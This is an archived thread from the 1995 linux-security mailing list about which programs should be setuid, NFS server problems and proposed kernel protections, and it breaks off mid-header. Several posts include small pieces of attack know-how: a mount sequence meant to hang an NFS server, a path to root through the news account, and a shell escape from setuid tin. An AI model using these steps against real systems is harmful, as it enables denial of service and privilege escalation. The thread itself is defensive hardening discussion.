(MET) In-Reply-To: <[email protected]> from "Panzer Boy" at Mar 12, 95 03:13:23 am From: [email protected] X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 1744 Sender: [email protected] Precedence: list Reply-To: [email protected] > > Andrew Cromarty ([email protected]) wrote: > least a start. ('lusers' group is made up entirely of people who have > physical access to the machine) > > *** X11 Stuff, both R5 & R6, Servers are only runable by 'lusers' > -rwsr-xr-x 1 root bin 9220 Mar 10 1994 /usr2/X11/bin/xload > -rwsr-xr-x 1 root root 9220 Sep 28 04:04 /usr2/X11R6/bin/xload Thes ones were, but no longer are suid on my system. I dont think it should be set-uid on Linux. > *** Procmail, Screen, and tin (suid news) > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin I wouldn't trust "tin". > *** System utils that mod files in restricted space > -rwsr-xr-x 1 root root 17412 May 6 1994 /usr/bin/chfn > -rwsr-xr-x 1 root root 13316 May 6 1994 /usr/bin/chsh I'd group these with "passwd". > *** Deliver should probably be in /usr/local/bin, but slackware has strange > way of installing some packages > -rws--x--x 1 root mail 37892 Dec 1 1993 /usr/bin/deliver for your information: the "rule" is that slackware comes with a clean /usr/local. All that ends up there is yours..... > > *** To allow the program to initiate connections from lower ports, though > I for the most part don't see why this needs to be done. > -r-sr-xr-x 1 root bin 13316 Feb 12 1994 /usr/bin/rlogin > -r-sr-xr-x 1 root bin 9220 Feb 12 1994 /usr/bin/rsh > -r-sr-xr-x 1 root root 5584 Feb 2 1994 /usr/bin/traceroute rlogin tells the other side "this user is called wolff, can you let him in". If you allow rlogind to accept this from any port, any user could write a new rlogin program that pretends to be anyone Roger. From [email protected] Sun Mar 12 15:23:59 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA25085; Sun, 12 Mar 1995 15:20:48 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA25075; Sun, 12 Mar 1995 15:20:42 -0500 Date: Sun, 12 Mar 1995 15:20:42 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? In-Reply-To: Your message of Sat, March 11, 1995 23:25:44 -0800 References: <[email protected]> X-Palindrome: Ma is as selfless as I am. X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] "EL" == Elias Levy writes: EL> On Sun, 12 Mar 1995, Benedikt Stockebrand wrote: >> Coding the proper permissions inside the binaries. Make the program >> check its own permissions upon startup and add an option like >> "--check-own-permissions" to it. >> Well, that involves either getting every program-designer/coder to agree to add this option to their program (simply because the Linux community thinks that it would be a good idea), or having a Linux "permissions" patch for every piece of software that's included in standard distributions, etc. What's the use for striving towards compliance and portability if we're going to try and implement something like this? Not an option, IMHO...can you imagine trying to tell someone like Richard Stallman that all the GNU software should have this feature added for Linux? This idea would die (from politics if nothing else) _very_ rapidly. Even your idea of hacking GCC's startup module to do something like this at program load would run into heavy resistance (and you're right in saying that it would be a kludge)--I don't see H.J. Lu et al. adding this to the GCC code any time soon... And what if you later decide that you want, say 'rtin', to run setgid to "news" because you're switching from a local threading/indexing database to an NFS mounted one that requires this? Now you have to recompile 'rtin' so that it will accept running itself setgid, instead of just changing the permissions and being done with the matter. EL> And just who decides what are the proper permissionsfor every diferent EL> package? Thats the real problem. I think the real problem is the implementation, not the permissions decisions, but I agree: who decides? Every installation is different in at least some subtle way... --Up. From [email protected] Sun Mar 12 15:25:30 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA25157; Sun, 12 Mar 1995 15:24:02 -0500 Received: from cais.cais.com (cais.com [199.0.216.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id PAA24952; Sun, 12 Mar 1995 15:03:28 -0500 Received: from cais2.cais.com (cais2.cais.com [199.0.216.200]) by cais.cais.com (8.6.5/8.6.5) with ESMTP id PAA29723 for ; Sun, 12 Mar 1995 15:03:28 -0500 Received: from localhost (jsdy@localhost) by cais2.cais.com (8.6.5/8.6.5) id PAA28584; Sun, 12 Mar 1995 15:03:27 -0500 Date: Sun, 12 Mar 1995 15:03:27 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Cc: [email protected] Sender: [email protected] Precedence: list Reply-To: [email protected] [email protected] (Panzer Boy) wrote: > Andrew Cromarty ([email protected]) wrote: > : 1. What's a good Linux-specific spec for file permissions ... > Well. Here's my output. ... Curious. I note that a number of the programs Matt's scan found are setuid-something AND setgid-something. When I've checked programs like that in the past, one or the other has almost always turned out to be superfluous. I haven't done a scan like that on Linux yet. [Somehow, it's a lot easier to find time to do things like that when you're being paid to do them - .] I wonder whether that's the case with many of these? Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Sun Mar 12 19:02:51 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA27475; Sun, 12 Mar 1995 19:01:32 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id PAA25331; Sun, 12 Mar 1995 15:35:54 -0500 Received: (from panzer@localhost) by dhp.com (8.6.11/8.6.9) id PAA29583; Sun, 12 Mar 1995 15:37:13 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Date: 12 Mar 1995 15:37:12 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 36 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] [email protected] wrote: : > *** Procmail, Screen, and tin (suid news) : > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin : I wouldn't trust "tin". It's suid NEWS, not root. Though indirectly you can get root from that. I know. Get news, modify rc.news file, run by root... :) This was originally run as root so that I could have it create index files, as this is no longer needed (I have news locally) tin is no longer suid root. : > *** System utils that mod files in restricted space : > -rwsr-xr-x 1 root root 17412 May 6 1994 /usr/bin/chfn : > -rwsr-xr-x 1 root root 13316 May 6 1994 /usr/bin/chsh : I'd group these with "passwd". I don't have a group passwd, don't see the use other than convience. : for your information: the "rule" is that slackware comes with a clean : /usr/local. All that ends up there is yours..... Kinda strange way to do it, since have of slackware is made up of things that should be in /usr/local/bin. Again, this is personal taste, so whatever people like. :) : rlogin tells the other side "this user is called wolff, can you let him : in". If you allow rlogind to accept this from any port, any user could : write a new rlogin program that pretends to be anyone The whole "r" program problem is always a pain. If you have a local cluster of machines you run, you want people to be able to rsh back and forth around them and not worry about having to type their passwords again. Though you want to prevent any attempt at doing this from the outside including if these users have + + in their .rhosts file due to some "mistake". -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Sun Mar 12 19:02:55 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA27470; Sun, 12 Mar 1995 19:01:27 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id PAA25497; Sun, 12 Mar 1995 15:47:03 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Sun, 12 Mar 1995 21:46:58 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id VAA11184 for [email protected]; Sun, 12 Mar 1995 21:46:41 +0100 Message-Id: <[email protected]> Subject: Closing suid root holes To: [email protected] (linux-security) Date: Sun, 12 Mar 1995 21:46:41 +0100 (MET) From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1529 Sender: [email protected] Precedence: list Reply-To: [email protected] To partially solve the suid program problem, I've proposed, in the past, an additional flag for the file system, similar to the immutable and read-only flags already found on EXT2FS. Let's call it the 'system flag'. It should have the following properties: - Files with this flag cannot be removed, renamed, (hard)linked, or unlinked. - A file with this flag can only be opened for writing if the O_SYSTEM flag is supplied to open(). - An open() for a file without the system flag set fails if O_SYSTEM is present for opening. Let's suppose, then, that /etc/passwd has this flag set. A cracker who has found yet another suid program bug in a utility like sendmail could not open /etc/passwd for writing, because sendmail's author didn't put O_SYSTEM into the open call. This would close the door on a large portion of traditional UNIX security holes. The drawbacks would be some added complexity (you would need to teach commands like useradd etc. these things, plus patch in an option for your favourite editor), and you'd probably want a specialized 'cat' utility to stick at the end of your pipes. Alternatively, you could hack your favourite shell for this purpose. To empahsize: This proposal will not help if an attacker already has gained root permissions on your system. It will, however, keep him from using suid utilities to manipulate the system database. This would be trivial enough to do (and I've already done it, once; the patches don't work any more, but are easy enough to redo). Comments? From [email protected] Sun Mar 12 19:15:04 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA27558; Sun, 12 Mar 1995 19:13:32 -0500 Received: from bAARNie.tafe.sa.edu.au (bAARNie.tafe.sa.edu.au [143.92.1.65]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id SAA27193; Sun, 12 Mar 1995 18:30:19 -0500 Received: by bAARNie.tafe.sa.edu.au (5.64+1.3.1+0.50/UA-5.23) id AA04231; Mon, 13 Mar 1995 09:57:25 +1030 From: Geoffrey Bennett Message-Id: <[email protected]> Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? To: [email protected] Date: Mon, 13 Mar 1995 09:57:24 +1030 (CST) In-Reply-To: <[email protected]> from "Panzer Boy" at Mar 12, 95 03:13:23 am X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1622 Sender: [email protected] Precedence: list Reply-To: [email protected] [mod: quoting trimmed --okir] > *** /bin/login doesn't need to suid root, as it should for the most part > only be called by root owned procs. ping for icmp. passwd stuff for > access to restricted shells. /bin/login should be suid root, in case someone wants to exec login, I thought? > Those are mine, though if someone notices something that shouldn't be as > it is, please email me... :) > > Also remember anything run from rc files will be run as root, and > anything run from inetd will be also. No, inetd.conf specifies which user each server should be run as. Regards, -- ___ / __ \___|eoffrey D. Bennett!-) [email protected] From [email protected] Sun Mar 12 22:32:51 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id WAA29483; Sun, 12 Mar 1995 22:31:48 -0500 Received: from rulcmc.LeidenUniv.nl (rulcmc.LeidenUniv.nl [132.229.1.33]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id NAA23131; Sun, 12 Mar 1995 13:42:55 -0500 Received: (from joost@localhost) by rulcmc.LeidenUniv.nl (8.6.9/8.6.9) id TAA06652 for [email protected]; Sun, 12 Mar 1995 19:43:08 +0100 From: joost witteveen Message-Id: <[email protected]> Subject: Re: NFS patch To: [email protected] Date: Sun, 12 Mar 1995 19:43:05 +0100 (MET) In-Reply-To: from "Olaf Kirch" at Mar 11, 95 03:01:37 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1925 Sender: [email protected] Precedence: list Reply-To: [email protected] Dear Olaf, I tried the new nfsd. For me it works great: removes a ?bug I used to have trouble with with v 2.0: the server wouldn't allow the client to read some links. However, as you said you would like to hear comments, here are some. Unfortunately I'm not an hacker, and didn't look into the source to find any problems. Hope you'll read on anyhow: **************** ?bug? 1 My exports file says (amongst others) the following: / rulkmp(ro) /tmp rulkmp(rw) I remember with the old mountd/nfsd to be able to mount /tmp as (rw). This seems not to work with the new one (may be totally unrelated). I don't know how it should work, though I would prefere being able to mount /tmp as rw, and the rest as ro. *************** beauty error: To make the file auth_clnt.c compile, I had to add the following: #ifndef NOBODY_UID #define NOBODY_UID ((uid_t) 65534) /* The unprivileged user. */ #endif #ifndef NOBODY_GID #define NOBODY_GID ((gid_t) 65534) /* The unprivileged group. */ #endif *************** probbably unrelated to your work: This is probably unrelated to the new version. However, as there is a small chance it is, I tell you anyway. I seem to be anable to rulkmp:/etc# mount (amoungst others:) rulcmc:/tmp on /tmp type nfs (rw,addr=132.229.1.33) rulkmp:/etc# umount /tmp umount: rulcmc:/tmp: device is busy *************** my setup My old setup: rulcmc:usr/sbin# ./rpc.mountd -v Universal NFS Server, version 2.0 rulcmc:/usr/sbin# ./rpc.nfsd -v Universal NFS Server, version 2.0 The client was (always) running the old mountd and nfsd. I do assume this should be possable. The server was (of cource) running your new nfsd and mountd. rulcmc:/usr/sbin$ uname -a Linux rulcmc 1.1.59 #4 Fri Feb 17 21:24:07 MET 1995 i486 Slackware, 2.0.0. cheers, joost -- joost witteveen [email protected] [email protected] [email protected] linux-security/1995/linux-security.950313100664 1767 1767 175306 5731157267 17317 0ustar majdommajdomFrom [email protected] Mon Mar 13 00:29:10 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id AAA01405; Mon, 13 Mar 1995 00:28:37 -0500 Received: from lilly.ping.de (lilly.ping.de [193.100.14.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id TAA27772; Sun, 12 Mar 1995 19:46:38 -0500 Received: by lilly.ping.de with UUCP (Smail3.1.28.1 #4) id m0rnyFn-000oq5C; Mon, 13 Mar 95 01:44 MET Received: (from benedikt@localhost) by devnull.ping.de (8.6.9/8.6.9) id WAA04461; Sun, 12 Mar 1995 22:37:31 +0100 Date: Sun, 12 Mar 1995 22:37:31 +0100 From: Benedikt Stockebrand Message-Id: <[email protected]> To: [email protected] CC: [email protected], [email protected], [email protected] In-reply-to: (message from Elias Levy on Sat, 11 Mar 1995 23:25:44 -0800 (PST)) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Sender: [email protected] Precedence: list Reply-To: [email protected] On Sat, 11 Mar 1995 23:25:44 -0800 (PST), Elias Levy wrote: | On Sun, 12 Mar 1995, Benedikt Stockebrand wrote: | | > Coding the proper permissions inside the binaries. Make the program | > check its own permissions upon startup and add an option like | > "--check-own-permissions" to it. | [ cut ] | And just who decides what are the proper permissionsfor every diferent | package? Thats the real problem. Well, first of all the programmer of the package. This should work in most cases and only leave the few difficult ones where package interaction or such causes trouble. That's where the distributors and/or local bin admins have to get in. But even if one package in ten still caused such a problem this would already help a lot. And finally, you could put some appropriate choices into the Makefiles so even then you wouldn't have to do figure it all out from scratch. Ben ----------------------------------------------------------------------- Benedikt (Ben) Stockebrand ([email protected]) Dortmund, Germany And don't tell me about Benedict Arnold anymore... ----------------------------------------------------------------------- From [email protected] Mon Mar 13 00:29:45 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id AAA01427; Mon, 13 Mar 1995 00:29:34 -0500 Received: from pacific.pacific.net (pacific.pacific.net [199.4.80.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id VAA28325; Sun, 12 Mar 1995 21:18:47 -0500 Received: from sonic.net (sonic.net [199.4.118.11]) by pacific.pacific.net (8.6.10/8.6.10) with SMTP id SAA21702 for ; Sun, 12 Mar 1995 18:22:12 -0800 Received: by sonic.net (Smail3.1.28.1 #100) id m0rnzhO-000zgHC; Sun, 12 Mar 95 18:17 PST Message-Id: Date: Sun, 12 Mar 95 18:17 PST From: [email protected] (Dane Jasper) To: [email protected] Subject: Re: SECURITY: NFS Vulnerability Newsgroups: comp.os.linux.announce X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] In article you wrote: : The current Linux NFS server (version 2.0) has a couple of security problems : some of which have been known for a while and supposedly been fixed a long : time ago. However, none of the versions I found on the usual FTP sites had : these fixes incorporated. I have annother security problem with NFS - but a minor one. Users can cause denial of service attacks by locking up NFS servers that they have access to.. mount -t nfs server.edu:/exports/goodies /mnt mkdir /mnt/another_mountpoint mount -t nfs server.edu:/exports/goodies /mnt/another_mountpoint ll /mnt/another_mountpoint Because NFS is not multithreaded, I think this will fail.. Let me know if I'm barking up the wrong tree - I get the digest, so I'll see responses. Can we make NFS multithreaded? Dane From [email protected] Mon Mar 13 00:44:42 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id AAA01612; Mon, 13 Mar 1995 00:44:34 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id TAA27807; Sun, 12 Mar 1995 19:52:48 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rnyNN-0005MAC; Sun, 12 Mar 95 16:52 PST Date: Sun, 12 Mar 1995 16:52:49 -0800 (PST) From: Elias Levy To: [email protected] cc: linux-security Subject: Re: Closing suid root holes In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Sun, 12 Mar 1995, Thomas Koenig wrote: > > To partially solve the suid program problem, I've proposed, in the > past, an additional flag for the file system, similar to the > immutable and read-only flags already found on EXT2FS. > > Comments? > Guess this fallows my question of why under unix file permission checks are not done for root. I would be "insteresting" if these where performed for root too. Of curse root could chmod a file and read it but the point was a program that simply was exploited to read file or modify them could not. Just imagine the passwd file being mode 444. Then a program that had a bug that allowed the bad guys to append to any file could not be used. Of curse this means modifying the passwd programs and good knows how many other things, to do a chmod before and after opening the file. [email protected] (Elias Levy) PowerNet, Inc. From [email protected] Mon Mar 13 00:50:45 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id AAA01672; Mon, 13 Mar 1995 00:50:38 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id WAA00309; Sun, 12 Mar 1995 22:53:04 -0500 Received: (from panzer@localhost) by dhp.com (8.6.11/8.6.9) id WAA00038; Sun, 12 Mar 1995 22:54:33 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Date: 12 Mar 1995 22:54:32 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 18 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] Geoffrey Bennett ([email protected]) wrote: : > *** /bin/login doesn't need to suid root, as it should for the most part : > only be called by root owned procs. ping for icmp. passwd stuff for : > access to restricted shells. : /bin/login should be suid root, in case someone wants to exec login, : I thought? Why are people execing login? In most cases you do not need this. : No, inetd.conf specifies which user each server should be run as. Ok, ok, grep "root" /etc/inetd.conf will show you what is being run as root. :) Most things you are worried about are run as root. At the same time you should make sure that things like finger, and other non-privilege needing programs, aren't being run as root. -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." -- [Mod: This topic is starting to veer away from Linux-specific security into the realm of general UNIX security/administration. Let's try to stay as Linux-specific as we can, as that's the main purpose for these lists. Thanks. --Jeff] From [email protected] Mon Mar 13 00:55:23 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id AAA01712; Mon, 13 Mar 1995 00:55:16 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id TAA27573; Sun, 12 Mar 1995 19:15:52 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rnxna-0005NHC; Sun, 12 Mar 95 16:15 PST Date: Sun, 12 Mar 1995 16:15:50 -0800 (PST) From: Elias Levy To: [email protected] Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On 12 Mar 1995, Panzer Boy wrote: > *** Procmail, Screen, and tin (suid news) > -rwsr-sr-x 1 root mail 41988 Aug 12 1994 /usr2/local/bin/procmail > -rwsr-xr-x 1 root root 144388 May 6 1994 /usr2/local/bin/screen > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin You can escape any command from within tin with !. So you must disable shell escapes. The way I like it better is to run inn or other and run tin -r with no suid bit. (Remember to set the nnrpd.hosts file correctly of curse) > *** To allow the program to initiate connections from lower ports, though > I for the most part don't see why this needs to be done. > -r-sr-xr-x 1 root bin 13316 Feb 12 1994 /usr/bin/rlogin > -r-sr-xr-x 1 root bin 9220 Feb 12 1994 /usr/bin/rsh > -r-sr-xr-x 1 root root 5584 Feb 2 1994 /usr/bin/traceroute I belibe traceroute is suid for the same reason than ping (icmp) > -Matt ([email protected]) DI-1-9026 > "That which can never be enforced should not be prohibited." [email protected] (Elias Levy) PowerNet, Inc. -- [Mod: Along the lines of my earier comment, let's please also not beat to death the merits/dangers of suid/sgid settings on every program that commonly has them. It's a never-ending debate, and often depends largely on local factors (for good or ill). --Jeff.] From [email protected] Mon Mar 13 00:55:39 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id AAA01727; Mon, 13 Mar 1995 00:55:31 -0500 Received: from bach.cis.temple.edu (bach.cis.temple.edu [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id VAA28268; Sun, 12 Mar 1995 21:08:38 -0500 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.10/8.6.9) id VAA14813; Sun, 12 Mar 1995 21:11:06 -0500 Date: Sun, 12 Mar 1995 21:11:05 -0500 (EST) From: alex To: [email protected] Subject: Re: Closing suid root holes In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Sun, 12 Mar 1995, Thomas Koenig wrote: > Let's call it the 'system flag'. > > It should have the following properties: > > - Files with this flag cannot be removed, renamed, (hard)linked, or > unlinked. > > - A file with this flag can only be opened for writing if the > O_SYSTEM flag is supplied to open(). > > - An open() for a file without the system flag set fails if O_SYSTEM > is present for opening. > > Let's suppose, then, that /etc/passwd has this flag set. A cracker who > has found yet another suid program bug in a utility like sendmail could > not open /etc/passwd for writing, because sendmail's author didn't put > O_SYSTEM into the open call. I think everything can be simplified by adding 'nosuid' and 'suid' flags to filesystems like in SunOS and OSF. Assume that my partitions are like this: / ext2 /usr ext2 /usr/local ext2, nosuid Now no matter if someone found a bug in SUID program somewhere is /usr/local/totaly-uglypath/ it won't matter because setuid programs are not allowed on a partition! Best wishes, Alex ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= From [email protected] Mon Mar 13 01:43:48 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id BAA02686; Mon, 13 Mar 1995 01:43:28 -0500 Received: from tango.rahul.net (tango.rahul.net [192.160.13.5]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id BAA02499; Mon, 13 Mar 1995 01:30:17 -0500 Received: from dandelion.com by tango.rahul.net with SMTP id AA03854 (5.67b8/IDA-1.5 for ); Sun, 12 Mar 1995 22:30:14 -0800 Received: (from lnz@localhost) by dandelion.com (8.6.11/8.6.10) id WAA09589; Sun, 12 Mar 1995 22:30:13 -0800 Date: Sun, 12 Mar 1995 22:30:13 -0800 From: "Leonard N. Zubkoff" Message-Id: <[email protected]> To: [email protected] Cc: [email protected] In-Reply-To: alex's message of Sun, 12 Mar 1995 21:11:05 -0500 (EST) Subject: Closing suid root holes Sender: [email protected] Precedence: list Reply-To: [email protected] Date: Sun, 12 Mar 1995 21:11:05 -0500 (EST) From: alex I think everything can be simplified by adding 'nosuid' and 'suid' flags to filesystems like in SunOS and OSF. Assume that my partitions are like this: / ext2 /usr ext2 /usr/local ext2, nosuid Now no matter if someone found a bug in SUID program somewhere is /usr/local/totaly-uglypath/ it won't matter because setuid programs are not allowed on a partition! You must be a bit out of date. I've been running the following on Linux for quite some time: /dev/sda1 / ext2 defaults 1 1 /dev/sda4 /u ext2 nosuid,nodev 1 2 /dev/sda2 swap swap defaults none /proc proc defaults /dev/sr0 /cd1 iso9660 user,noauto,ro,noexec,nosuid,nodev,unhide /dev/sr1 /cd2 iso9660 user,noauto,ro,noexec,nosuid,nodev,unhide It's already available... Leonard From [email protected] Mon Mar 13 05:54:54 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA05304; Mon, 13 Mar 1995 05:50:35 -0500 Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id BAA02845; Mon, 13 Mar 1995 01:59:03 -0500 Received: from cent.cs.tu-berlin.de ([email protected] [130.149.22.20]) by mail.cs.tu-berlin.de (8.6.10/8.6.10) with ESMTP id HAA28542 for ; Mon, 13 Mar 1995 07:59:01 +0100 From: "Martin v.Loewis" Received: (loewis@localhost) by cent.cs.tu-berlin.de (8.6.10/8.6.6) id HAA02422 for [email protected]; Mon, 13 Mar 1995 07:58:59 +0100 Message-Id: <[email protected]> Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? To: [email protected] Date: Mon, 13 Mar 1995 07:58:57 +0100 (MET) In-Reply-To: <[email protected]> from "Panzer Boy" at Mar 12, 95 03:13:23 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] > *** To allow the program to initiate connections from lower ports, though > I for the most part don't see why this needs to be done. > -r-sr-xr-x 1 root bin 13316 Feb 12 1994 /usr/bin/rlogin > -r-sr-xr-x 1 root bin 9220 Feb 12 1994 /usr/bin/rsh > -r-sr-xr-x 1 root root 5584 Feb 2 1994 /usr/bin/traceroute The access to lower ports gives some added security. If every program could create such a socket, everybody could connect to rlogind and tell: 'This user is foo, I've verified this, let him in'. traceroute needs access to the raw socket. With such capabilities, you could easily listen on somebody else' port. Enjoy, Martin From [email protected] Mon Mar 13 05:56:45 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA05329; Mon, 13 Mar 1995 05:53:57 -0500 Received: from distrib.com (www.distrib.com [204.119.65.18]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id CAA03547; Mon, 13 Mar 1995 02:21:55 -0500 Received: by distrib.com (Smail3.1.28.1 #64) id m0ro4Rb-000EWrC; Sun, 12 Mar 95 23:21 PST Message-Id: Date: Sun, 12 Mar 95 23:21 PST From: [email protected] (Andrew Cromarty) To: [email protected] Subject: /usr/local/... file placement, and vendor security quality control Cc: [email protected] Sender: [email protected] Precedence: list Reply-To: [email protected] Matt ([email protected]) wrote: > : for your information: the "rule" is that slackware comes with a clean > : /usr/local. All that ends up there is yours..... > Kinda strange way to do it, since have of slackware is made up of things > that should be in /usr/local/bin. Again, this is personal taste, so > whatever people like. :) "Strange"---but it does follow the Linux File System Standard (FSSTND). It leads to some peculiar file placements if you think of the whole installation as "yours," but it makes sense and is convenient if you think of the system as comprised of "a standard release, plus my additions." Briefly, the FSSTND rationale is (simplifying slightly): 1. All "sbin" areas are "system" binaries (of interest to root only). 2. "/usr/..." areas are not guaranteed to be mounted at boot time, but /sbin and /bin are, so the must-have binaries live there. 3. Distributions should leave the /usr/local... dirs empty, for "our" use. Thus if you upgrade to a new Slackware package, in principle all your customizations will be safe (won't get clobbered), since they're in an area (/usr/local/...) that the new distribution doesn't touch. To keep this topic Linux-security related, and proactive: given that the FSSTND explicitly attempts to define what's "their vs. ours" in distributions, we should be encouraging all the distribution bundlers to make "their" file permissions as secure as possible. If we screw ours up, that's our problem. But part of every Slackware/InfoMagic/Morse/RedHat/Yggdrasil/... final quality control check should be ensuring that their product puts _everything_ in the right place at the right permissions---and as the Linux community's most security-conscious consumers, we on this list are the well qualified to make the vendors/distributors aware of this responsibility. Imagine how quickly they get off their tails and work on this if, for example, the members of this list "voted" regularly on the most secure distribution and published the results of the vote as our collective considered opinion on these product's security value. cheers asc From [email protected] Mon Mar 13 05:56:52 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA05338; Mon, 13 Mar 1995 05:54:03 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id DAA03854; Mon, 13 Mar 1995 03:00:14 -0500 Received: (from panzer@localhost) by dhp.com (8.6.11/8.6.9) id DAA01584; Mon, 13 Mar 1995 03:01:46 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Date: 13 Mar 1995 03:01:45 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 17 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] Elias Levy ([email protected]) wrote: : > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin : You can escape any command from within tin with !. So you must disable shell : escapes. The way I like it better is to run inn or other and run tin -r : with no suid bit. (Remember to set the nnrpd.hosts file correctly of curse) In tin, here, I type !, then /bin/tcsh, then id.... > id uid=405(panzer) gid=100(users) groups=100(users),10(wheel),101(lusers) Though it doesn't matter anymore as I have removed the suid bit as I don't need tin writing index files. (Though I did check this with suid back on) -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Mon Mar 13 05:57:31 1995 Received: (from 